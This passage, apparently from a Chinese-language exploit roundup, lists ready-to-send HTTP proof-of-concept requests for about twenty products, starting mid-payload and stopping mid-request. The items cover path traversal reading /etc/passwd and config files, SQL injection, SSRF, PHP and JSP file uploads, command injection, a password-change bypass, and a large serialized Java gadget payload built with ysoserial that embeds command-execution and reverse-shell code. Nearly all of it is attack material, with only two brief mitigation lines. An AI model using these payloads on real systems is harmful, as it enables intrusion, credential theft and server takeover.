wgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlU
b2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1
cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeX
BlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVR
va2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAABnIAAACEAVN5c3RlbS5Db2xsZW
N0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2l
vbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNG
UwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAG
VN5c3RlbS5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCg
pCAAAAAoBTAAAAEIAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29yb
GliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc
3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLj
AsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4A
AAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0
AAABDAAAACXsAAAJPgAAAAl6AAAABn4AAApU3lzdGVtLk9iamVjdCBDcmVhdGVJbnN0YW5j
ZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS
5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5D
b21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAAASCAAAAC1N5c3RlbS5HdWl
kCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAg
ITE9J07irREYv7AKDJDyb3Cws=</strFormAssignment>
<isBase>0</isBase>
</GetChildFormAndEntityList>

```
</soap:Body>
</soap:Envelope>
```

4. Bazarr v1.4.3 swaggerui 接口任意文件读取漏洞 (CVE-2024-40348)

```
GET /api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
```

5. 用友 U8Cloud MeasQueryConditionFrameAction 接口存在 SQL 注入漏洞

```
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasQueryConditionFrameAction&method=doCopy&TableSelectedID=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host: {{Hostname}}
```

6. 泛微 E-Mobile installOperate.do SSRF 漏洞

```
GET /install/installOperate.do?svrurl=http://dnslog.cn HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q
```

7. 云课网校系统文件上传漏洞

```
POST /api/uploader/uploadImage HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLZbmKeasWgo2gPtU
------WebKitFormBoundaryLZbmKeasWgo2gPtU
Content-Disposition: form-data; name="file"; filename="1G3311040N.php"
Content-Type: image/gif
```

<?php phpinfo();?>
------WebKitFormBoundaryLZbmKeasWgo2gPtU--

8. 润乾报表 InputServlet 接口存在文件上传漏洞

POST /InputServlet?action=12 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=--------------------------170005680039721412137562
Accept-Encoding: gzip, deflate, br
Content-Length: 2401
----------------------------170005680039721412137562
Content-Disposition: form-data; name="upsize"
1024
----------------------------170005680039721412137562
Content-Disposition: form-data; name="file"; filename="/\..\\..\2.jsp"
Content-Type: image/png
11111----------------------------170005680039721412137562--

9. 明源云 ERP 系统 ApiUpdate.ashx 任意文件上传漏洞

POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1
Host: target.com
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 856
{{unquote("PK\x03\x04\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00../../../fdccloud/_/check.aspx$\xcc\xcb\x0a\xc20\x14\x04\xd0_\x09\x91B\xbb\x09\x0a\xddH\xab\x29\x8aP\xf0QZ\xc4\xf5m\x18j!ib\x1e\x82\x7fo\xc4\xdd0g\x98:\xdb\xb1\x96F\xb03\xcdcLa\xc3\x0f\x0b\xce\xb2m\x9d\xa0\xd1\xd6\xb8\xc0\xae\xa4\xe1-\xc9d\xfd\xc7\x07h\xd1\xdc\xfe\x13\xd6%0\xb3\x87x\xb8\x28\xe7R\x96\xcbr5\xacyQ\x9d&\x05q\x84B\xea\x7b\xb87\x9c\xb8\x90m\x28<\xf3\x0e\xaf\x08\x1f\xc4\xdd\x28\xb1\x1f\xbcQ1\xe0\x07EQ\xa5\xdb/\x00\x00\x00\xff\xff\x03\x00PK\x01\x02\x14\x03\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00../../../fdccloud/_/check.aspxPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00L\x00\x00\x00\xc8\x00\x00\x00\x00\x00")}}

10. 启明星辰-天清汉马 VPN download 接口 ostype 参数任意文件读取漏洞

```
GET /vpn/user/download/client?ostype=../../../../../../../../../etc/passwd HTTP/1.1
Host: ip
```

11. 科拓全智能停车收费系统 Webservice.asmx 存在任意文件上传

```
POST /Webservice.asmx HTTP/1.1
Host: ip
Content-Type: text/xml; charset=utf-8
Content-Length: 455
SOAPAction: "http://tempuri.org/UploadResume"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://w
ww.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../test7.aspx</fileName>
<fileFlow>dGVzdA==</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>
```

12. 奇安信网神 SecSSL 3600 VPN Cookie 权限绕过 导致任意用户密码修改漏洞

```
POST /changepass.php?type=2 HTTP/1.1
host:
Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff;
last_step_param={"this_name":"test","subAuthId":"1"}
old_pass=&password=Test123!@&repassword=Test123!@
```

13. 赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

```
GET /BaseModule/ReportManage/DownloadBuilder?filename=/../web.config
Host: {{Hostname}}
```

```
GET /Utility/GetJSFile?filePath=../web.config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0)
Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*
/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
```

14. 赛蓝企业管理系统 ReadTxtLog 任意文件读取漏洞

```
GET /BaseModule/SysLog/ReadTxtLog?FileName=../XmlConfig/database.config
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0)
Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*
/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br

Connection: close
```

15. 锐捷 RG-UAC 统一上网行为管理与审计系统 static_convert.php 命令注入漏洞

```
GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20%20echo%20%27pstvamqlkzrgsl
filwvf%27%20>>%20/var/www/html/rrlmkkyopirhaviko.txt%0A HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:10
```

16. 数字通云平台智慧政务 OA-PayslipUser 存在 SQL 注入漏洞

```
GET /payslip/search/index/userid/time/time?PayslipUser[user_id]=%28SELECT+4655+FROM+%28SELECT%28SLEEP%285%29%29%29usQE%29 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
```

17. 用友 U8 CRM import.php 任意文件上传漏洞

```
POST /crmtools/tools/import.php?DontCheckLogin=1&issubmit=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye0z8QbHs79gL8vW5
------WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Disposition: form-data; name="xfile"; filename="11.xls"
<?php phpinfo();?>
------WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Disposition: form-data; name="combo"
help.php------WebKitFormBoundarye0z8QbHs79gL8vW5--
```

18. 多个用友 NC 产品全系列 LoggingConfigServlet RCE 漏洞

使用 ysoserial 生成序列化数据

```
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > obj.bin
```

```
POST /service/§~cc/nc.bs.logging.config.LoggingConfigServlet§ HTTP/1.1
Host: {{Hostname}}
User-Agent:Mozilla/4.0(compatible; MSIE 6.0;Windows NT 5.1; SV1;QQDownload732;.NET4.0C;.NET4.0E)
Cmd: whoami
Content-Type: application/x-gzip
Accept-Encoding: gzip, deflate, br
{{hex_decode('aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000013f400000000000001737200346f72672e6170616368652e636f6d6d6f6e7
```

32e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39
c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074
000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e6
36f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e791094030
0014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c65637
4696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6
e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d6
57230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f61706
16368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572
002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e736
66f726d65723bbd562af1d834189902000078700000000077372003b6f72672e6170616368652e63
6f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e7
3666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200
2a6f72672e6d6f7a696c6c612e6a6176617363726970742e446566696e696e67436c6173734c6f61
6465720000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e6
36f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8
ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c0
00b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b695061
72616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a617
6612e6c616e672e4f626a6563743b90ce589f1073296c020000787000000001757200125b4c6a617
6612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000000740016676574446563
6c61726564436f6e7374727563746f727571007e001a000000017671007e001a7371007e0013757
1007e00180000000017571007e00180000000074000b6e6577496e7374616e63657571007e001a0
00000017671007e00187371007e00137571007e001800000002740002413475720002 5b42acf317
f8060854e0020000787000001751cafebabe00000031016b0a001d00920a004400930a004400940
a001d00950800960a001b00970a009800990a0098009a07009b0a0044009c08008c0a0020009d08
009e08009f0700a00800a10800a20700a30a001b00a40800a50800a60700a70b001600a80b00160
0a90800aa0800ab0700ac0a001b00ad0700ae0a00af00b00800b10700b20800b30a007e00b40a00
2000b50800b609002600b70700b80a002600b90800ba0a007e00bb0a001b00bc0800bd0700be0a
001b00bf0800c00700c10800c20800c30a001b00c40700c50a004400c60a00c700bb0800c80a0020
00c90800ca0a002000cb0800cc0a002000cd0a002000ce0800cf0a002000d00800d109007e00d20a
002600d30a002600d409007e00d50700d60a004400d70a004400d808008d0800d90a007e00da08
00db0a00dc00dd0a002000de0800df0800e00800e10700e20a005000920a005000e30800e40a005
000e50800e60800e70800e80800e90a00ea00eb0a00ea00ec0700ed0a00ee00ef0a005b00f00800f
10a005b00f20a005b00f30a005b00f40a00ee00f50a00ee00f60a002f00e50800f70a002000f80800f
90a00ea00fa0700fb0a002600fc0a006900fd0a006900ef0a00ee00fe0a006900fe0a006900ff0a0100
01010a010001020a010301040a0103010505000000000000000320a004401060a00ee01070a00690
1080801090a002f010a08010b08010c0a007e010d07010e01000269700100124c6a6176612f6c616
e672f537472696e673b010004706f72740100134c6a6176612f6c616e672f496e74656765723b010
0063c696e69743e0100032829560100044436f646501000f4c696e654e756d6265725461626c6501
000a457863657074696f6e730100096c6f6164436c617373010025284c6a6176612f6c616e672f537
472696e673b294c6a6176612f6c616e672f436c6173733b0100076578656375746501002628 4c6a6
176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000465786
5630100077265766572736501003928 4c6a6176612f6c616e672f537472696e673b4c6a6176612f6

c616e672f496e74656765723b294c6a6176612f6c616e672f537472696e673b01000372756e01000
a536f7572636546696c6501000741342e6a6176610c008300840c010f01100c011101120c0113011
4010007746872656164730c011501160701170c011801190c011a011b0100135b4c6a6176612f6c
616e672f5468726561643b0c011c011d0c011e011f010004687474700100067461726765740100 1
26a6176612f6c616e672f52756e6e61626c650100067468697324300100076861 6e646c657201001
e6a6176612f6c616e672f4e6f537563684669656c64457863657074696f6e0c01200114010006676c
6f62616c01000a70726f636573736f727301000e6a6176612f7574696c2f4c6973740c012101220c0
11a012301000372657101000b676574526573706f6e736501000f6a6176612f6c616e672f436c617
3730c012401250100106a6176612f6c616e672f4f626a6563740701260c012701280100096765744
865616465720100106a6176612f6c616e672f537472696e67010003636d640c008a008b0c012901
2a010009736574537461747573 0c012b012c0100116a6176612f6c616e672f496e74656765720c00
83012d0100246f72672e6170616368652e746f6d6361742e7574696c2e6275662e4279746543687
56e6b0c008800890c012e012f010008736574427974657301000 25b420c01300125010007646f57
726974650100136a6176612f6c616e672f457863657074696f6e0100136a6176612e6e696f2e4279
7465427566666572010004777261700c013100890100206a6176612f6c616e672f436c6173734e6f
74466f756e64457863657074696f6e0c013201330701340100000c013501360100106 36f6d6d616e
64206e6f74206e756c6c0c0137011d01000523232323230c013801390c013a013b0100013a0c013c
013d010022636f6d6d616e642072657665727365206 86f737420666f726d6174206572726f72210c
007f00800c013e013f0c014001410c008100820100106a6176612f6c616e672f5468726561640c008
301420c014300840100054040404040 0c008c008b0100076f732e6e616d650701440c0145008b0c
0146011d01000377696e01000470696e670100022d6e0100176a6176612f6c616e672f537472696
e674275696c6465720c01470148010005202d6e20340c0149011d0100022f63010005202d742034
0100027368010002 2d6307014a0c014b014c0c008c014d0100116a6176612f7574696c2f5363616e
6e657207014e0c014f01500c008301510100025c610c015201530c015401550c0156011d0c015701
500c015800840100072f62696e2f73680c00830159010007636d642e6578650c008c015a01000f6a
6176612f6e65742f536f636b65740c015b01220c0083015c0c015d015e0c015f01550701600c0161
01220c016201220701630c0164012d0c016500840c016601670c016801220c0169008401001d726
576657273652065786563757465206572726f722c206d7367202d3e0c016a011d01000121010013
726576657273652065786563757465206f6b210c008d008e010002413401000d63757272656e745
468726561640100142829 4c6a6176612f6c616e672f5468726561643b01000e6765745468726561
6447726f757001001928294c6a6176612f6c616e672f546872656164 47726f75703b010008676574
436c6173730100132829 4c6a6176612f6c616e672f436c6173733b0100106765744465636c617265
644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7
265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401
000d73657441636365737369626c65010004285a29560100036765740100 26284c6a6176612f6c6
16e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100076765744e616d6501
001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a61
76612f6c616e672f436861725365717565 6e63653b295a01000d6765745375706572636c6173730
1000473697a650100032829490100152849294c6a6176612f6c616e672f4f626a6563743b0100096
765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616
e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a61
76612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612
f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616
e672f4f626a6563743b0100086765744279746573010004282 95b42010004545950450100114c6a

6176612f6c616e672f436c6173733b010004284929560100 0b6e6577496e7374616e63650100142
8294c6a6176612f6c616e672f4f626a6563743b0100116765744465636c617265644d6574686f640
10007666f724e616d650100156765744436f6e74657874436c6173734c6f6164657201001928294c6
a6176612f6c616e672f436c6173734c6f616465723b0100156a6176612f6c616e672f436c6173734c
6f6164657201000665717561 6c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100
047472696d01000a737461727473576974680100152 84c6a6176612f6c616e672f537472696e673
b295a0100077265706c616365010044284c6a6176612f6c616e672f4368617253657175656e63653
b4c6a6176612f6c616e672f4368617253657175656e63653b294c6a6176612f6c616e672f5374726
96e673b01000573706c6974010027284c6a6176612f6c616e672f537472696e673b295b4c6a61766
12f6c616e672f537472696e673b0100087061727365496e74010015284c6a6176612f6c616e672f5
37472696e673b294901000776616c75654f660100162849294c6a6176612f6c616e672f496e74656
765723b010017284c6a6176612f6c616e672f52756e6e61626c653b295601000573746172740100
106a6176612f6c616e672f53797374656d01000b67657450726f706572747901000b746f4c6f7765
72436173650100661707065 6e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6
176612f6c616e672f537472696e674275696c6465723b010008746f537472696e670100116a61766
12f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616
e672f52756e74696d653b010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612
f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e67657449
6e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100182
84c6a6176612f696f2f496e70757453747265616d3b295601000c75736544656c696d69746572010
027284c6a6176612f6c616e672f537472696e673b294c6a6176612f7574696c2f5363616e6e65723
b0100076861734e65787401000328295a0100046e65787401000e6765744572726f725374726561
6d0100076465737472 6f79010015284c6a6176612f6c616e672f537472696e673b2956010027284c
6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100086
96e7456616c7565010016284c6a6176612f6c616e672f537472696e673b49295601000f6765744f7
57470757453747265616d01001828294c6a6176612f696f2f4f75747075745374726561 6d3b01000
86973436c6f7365640100136a6176612f696f2f496e70757453747265616d0100096176 1696c616
26c650100047265616401 40100146a6176612f696f2f4f75747075745374726561 6d010005777269746
5010005666c757368010005736c656570010004284a29560100096578697456616c756501000563
6c6f736501000a6765744d6573736167650021007e001d0001000f00020002007f0080000000020
0810082000000060001008300840002008500000 3d80008001100000 2982ab70001b80002b6000
34c2bb600041205b600064d2c04b600072c2bb60008c00009c000094e03360415042dbea2026a2
d1504323a051905c70006a702561905b6000a3a061906120bb6000c9a000d1906120db6000c9a0
006a702381905b60004120eb600064d2c04b600072c1905b600083a071907c1000f9a0006a70215
1907b600041210b600064d2c04b600072c1907b600083a071907b600041211b600064da700163a
081907b60004b60013b600131211b600064d2c04b600072c1907b600083a071907b60004b60013
1214b600064da700103a081907b600041214b600064d2c04b600072c1907b600083a071907b600
041215b600064d2c04b600072c1907b60008c00016c000163a0803360915091908b900170100a2
016f19081509b9001802003a0a190ab600041219b600064d2c04b600072c190ab600083a0b190b
b60004121a03bd001bb6001c190b03bd001db6001e3a0c190bb60004121f04bd001b5903122053
b6001c190b04bd001d5903122153b6001ec000203a0d190dc70006a700ff2a190db60022b600233
a0e190cb60004122404bd001b5903b2002553b6001c190c04bd001d5903bb0026591100c8b7002
753b6001e572a1228b600293a0f190fb6002a3a07190f122b06bd001b5903122c535904b2002553
5905b2002553b6002d190706bd001d5903190e535904bb00265903b70027535905bb002659190

ebeb7002753b6001e57190cb60004122e04bd001b5903190f53b6001c190c04bd001d590319075
3b6001e57a7004f3a0f2a1230b600293a101910123104bd001b5903122c53b6002d191004bd001d
5903190e53b6001e3a07190cb60004122e04bd001b5903191053b6001c190c04bd001d59031907
53b6001e57a70017840901a7fe8ba700083a06a70003840401a7fd95b10008009700a200a500120
0c500d300d6001201bd02310234002f0036003b028c002f003e0059028c002f005c007c028c002f0
07f0280028c002f02830289028c002f00010086000000ee003b0000000a0004000b000b000c00150
00d001a000e00260010003000110036001300 3e001400450015005c001600670017006c00180074
0019007f001a008a001b008f001c0097001e00a2002100a5001f00a7002000b8002200bd002300c5
002500d3002800d6002600d8002700e3002900e8002a00f0002b00fb002c0100002d010e002e011
d002f012800300133003101380032014000330159003 4017f00350184003601870038019200 3901
bd003b01c5003c01cc003d020f003e023100430234003f02360040023e0041025e0042028000440
283002e02890049028c0046028e0048029100100297004b00870000000400010 02f000100880089
000200850000003900020003000000112bb80032b04db80002b600342bb60035b000010000000
400050033000100860000000e000300000050000500510006005200870000000400010033000010
08a008b00010085000000b5000400040000006d2bc6000c12362bb600379900061238b02bb6003
94c2b123ab6003b99003e2b123a1236b6003c123db6003e4d2cbe059f0006123fb02a2c0332b500
402a2c0432b80041b80042b50043bb0044592ab700454e2db600461247b02a2b123a1236b6003c
12481236b6003cb60049b0000000010086000000 36000d00000058000d00590010005b0015005c
001e005d002c005e0032005f00350061003c006200490063005200640056006500590067000 1008
c008b00010085000001ca000400090000012a124ab8004bb6004c4d2bb600394c014e013a042c12
4db6000c9900402b124eb6000c9900202b124fb6000c9a0017bb005059b700512bb600521253b6
0052b600544c06bd002059031221535904125553590 52b533a04a7003d2b124eb6000c9900202b
124fb6000c9a0017bb005059b700512bb600521256b60052b600544c06bd002059031257535904
12585359052b533a04b800591904b6005a4ebb005b592db6005cb7005d125eb6005f3a051905b6
006099000b1905b60061a7000512363a06bb005b592db60062b7005d125eb6005f3a05bb005059
b700511906b600521905b6006099000b1905b60061a700051236b60052b600543a0619063a072d
c600072db600631907b03a051905b600643a062dc600072db600631906b03a082dc600072db600
631908bf0004009300fe0109002f009300fe011d000001090112011d0000011d011f011d00000001
00860000006e001b0000006b0009006c000e006d0010006e0013006f001c0070002e00710042007
300590075006b0076007f00780093007b009c007c00ae007d00c2007e00d4007f00fa008000fe008
401020085010600800109008 1010b008201120084011600 85011a0082011d00840123008500010
08d008e000100850000018300040 00c000000f3124ab8004bb6004c124db6000c9a0010bb00205
91265b700664ea7000dbb0020591267b700664eb800592db600683a04bb0069592b2cb6006ab7
006b3a051904b6005c3a061904b600623a071905b6006c3a081904b6006d3a091905b6006e3a0a
1905b6006f9a00601906b600709e0010190a1906b60071b60072a7ffee1907b600709e0010190a1
907b60071b60072a7ffee1908b600709e001019091908b60071b60072a7ffee190ab600731909b60
073140074b800761904b6007757a700083a0ba7ff9e1904b600631905b60078a700204ebb005059
b700511279b600522db6007ab60052127bb60052b60054b0127cb0000200b800be00c1002f0000
00d000d3002f000100860000006e001b0000008e0010008f001d00910027009300300094003e009
500530096006100970069009800710099007e009b0086009c0093009e009b009f00a800a100ad00
a200b200a300b800a500be00a600c100a700c300a800c600aa00cb00ab00d000ae00d300ac00d40
0ad00f000af0001008f00840001008500000 02a000300010000000e2a2ab400402ab40043b6007d
57b10000000100860000000a0002000000b4000d00b5000100900000000 2009174000b64656669
6e65436c6173737571007e001a00000002767200106a6176612e6c616e672e537472696e67a0f0a

4387a3bb342020000787076710 07e00287371007e00137571007e00180000000175710 07e001a0000000071007e001c7571007e001a0000000171007e001e7371007e00137571007e0018000000017571007e00180000000071007e00227571007e001a0000000171007e00247371007e000f7371007e0000770c000000003f40000000000000787372001 16a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f7249000974687265736f6c6478703f4000000000010770800000010000000000787878')}}

19. 全息 AI 网络运维平台 ajax_cloud_router_config.php 存在命令执行漏洞

POST /nmss/cloud/Ajax/ajax_cloud_router_config.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
ping_cmd=8.8.8.8|echo test > 1.txt

20. H3C 路由器 userLogin.asp 信息泄漏漏洞

GET /userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; CrOS aarch64 15236.9.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

21.泛微 e-cology9 /services/WorkPlanService 前台 SQL 注入漏洞

POST /services/WorkPlanService HTTP/1.1
Content-Length: 430
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
SOAPAction:
Content-Type: text/xml;charset=UTF-8

```
Host: 192.168.52.168
Referer: http://192.168.52.168:80/services/WorkPlanService
Cookie: ecology_JSessionid=aaawzto5mqug94J9Fz0cz
Connection: close
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="webservices.workplan.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:deleteWorkPlan>
<!--type: string-->
<web:in0>(SELECT 8544 FROM
(SELECT(SLEEP(3-(IF(27=27,0,5)))))NZeo)</web:in0>
<!--type: int-->
<web:in1>22</web:in1>
</web:deleteWorkPlan>
</soapenv:Body>
</soapenv:Envelope>
```

22. 1Panel 远程代码执行漏洞

```
GET /.git/config HTTP/1.1
User-Agent: test',"test", "test", "", "YmxvZy5tbzYwLmNu", "test", 0, "deny", 0,
1);ATTACH DATABASE '/www/sites/test/index/test.php' AS test ;create TABLE
test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();');#
Connection: close
Host: 172.23.80.143:8084
```

23. 资管云 comfileup.php 前台文件上传漏洞

临时修复建议：

- 使用防护类设备进行防护，限制访问/comfileup.php 路径，拦截请求中出现的恶意 php 代码

```
POST /comfileup.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0)
Gecko/20100101 Firefox/127.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*
/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```

Accept-Encoding: gzip, deflate
Connection: close
Cookie: cna=JtMCH7NgWFYCAXBg5XNzopCe
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Type: multipart/form-data; boundary=--------1110146050
Content-Length: 117
----------1110146050
Content-Disposition: form-data; name="file";filename="test.php"
test
----------1110146050—

24. 红海云 eHR kqFile.mob 任意文件上传

临时修复建议：

- 使用防护类设备进行防护，限制访问/RedseaPlatform/kqFile.mob 路径，拦截请求中出现的恶意 jsp 代码
- 如非必要，避免将资产暴露在互联网

详情信息：

POST /RedseaPlatform/kqFile.mob?method=uploadFile&fileName=123.jspx
HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
